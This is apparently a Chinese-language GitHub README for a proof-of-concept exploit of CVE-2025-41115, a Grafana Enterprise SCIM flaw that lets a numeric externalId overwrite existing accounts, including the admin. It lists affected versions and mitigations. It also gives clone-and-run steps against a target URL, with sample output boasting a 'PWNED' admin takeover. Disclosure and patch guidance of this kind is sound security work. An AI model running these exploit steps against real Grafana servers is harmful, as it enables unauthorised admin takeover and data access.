🔐 CVE-2025-41115：Grafana SCIM 严重权限提升漏洞

218fa54275e0e31c37b4e5091d9112ba_M

Grafana Enterprise 中的严重 SCIM 权限提升漏洞

🌟 概述

CVE-2025-41115 是 Grafana Enterprise 中影响其 SCIM 用户预配置 功能的一个 严重（CVSS 10.0） 漏洞。

当 SCIM 预配置已启用 且 user_sync_enabled = true 时，恶意 SCIM 客户端可以发送一个 数字类型的 externalId，Grafana 会错误地将其映射到内部用户 ID——从而允许攻击者模拟或覆盖现有账户，包括 管理员。 ⚠️ Grafana OSS 不受影响。

🚨 影响

🔓 账户接管（包括管理员账户）
🚀 权限提升，获得完全管理员权限
🗄️ 访问仪表盘/数据/组织配置
🌐 网络可利用，要求低
🛑 多租户或企业SSO设置的高风险

利用所需条件：

enableSCIM = true
[auth.scim] user_sync_enabled = true

🧩 受影响版本

版本	状态
12.0.0 → 12.2.1	❌ 存在漏洞
12.3.0	✅ 已修复
12.2.1 (patched build)	✅ 已修复
12.1.3	✅ 已修复
12.0.6

💡 托管 Grafana 服务（AWS/Azure/Grafana Cloud） 已由供应商完成修复。

如何在 3 秒内使用：

1. 下载

sudo git clone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.git

或者只需将上述脚本复制粘贴到一个文件中

2. 添加执行权限（可选）

chmod +x CVE-2025-41115.py

3. 运行

python3 CVE-2025-41115.py http://10.10.13.37:3000
# or
python3 CVE-2025-41115.py https://grafana.company.com

当利用实际成功时（即目标存在漏洞且令牌有效），你将看到类似如下的输出： text

[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: [email protected] (any password) → you are now Admin!
[+] Full response: {
  "schemas": [
    "urn:ietf:params:scim:schemas:core:2.0:User"
  ],
  "id": "1",                     ←←← THIS IS THE KEY LINE (UID 1 overwritten)
  "externalId": "1",
  "meta": { ... },
  "userName": "[email protected]",
  "name": {
    "formatted": "Pwned User"
  },
  "emails": [
    {
      "value": "[email protected]",
      "primary": true
    }
  ],
  "active": true
}

🔧 缓解措施

🥇 1. 立即升级

更新至 12.3.0 或某个已修复的维护版本。

🛠️ 2. 检查你的 SCIM 配置

如果你不使用 SCIM 预配置，请确保你有：

enableSCIM = false

或

[auth.scim]
user_sync_enabled = false

📜 3. 审计日志

查找：

意外的用户新增
数字类型的 externalId 使用
权限变更

🔐 4. 信任边界

确保只允许 受信任的身份提供商 与你的 SCIM 端点通信。

👀 5. 监控利用行为

留意可疑的登录、用户创建事件或管理员接管。

📅 时间线

📌 2025-11-04 — 内部发现该问题
📌 2025-11-04 — 宣布为事件
📌 2025-11-05 — 私下通知云供应商并完成修复
📌 2025-11-19 — 公开披露并发布官方修复

📝 额外说明

🎯 该缺陷具体源于 Grafana 将 数字 externalId 映射为内部 uid。
🟢 利用需要 SCIM 启用了用户同步，因此许多部署默认是安全的——但你必须确认。
⚡ 披露时未确认存在野外利用，但 CVSS 10 分意味着极其危险。

免责声明！！！

此 PoC 仅供在您拥有或获得明确书面许可进行测试的系统上，用于授权的安全测试和教育用途。未经授权的使用是非法的，可能导致刑事起诉。作者和分发者不对滥用承担责任。请立即打补丁（≥12.0.6 / 12.3.0 以上）。

Blackash-CVE-2025-41115

最受欢迎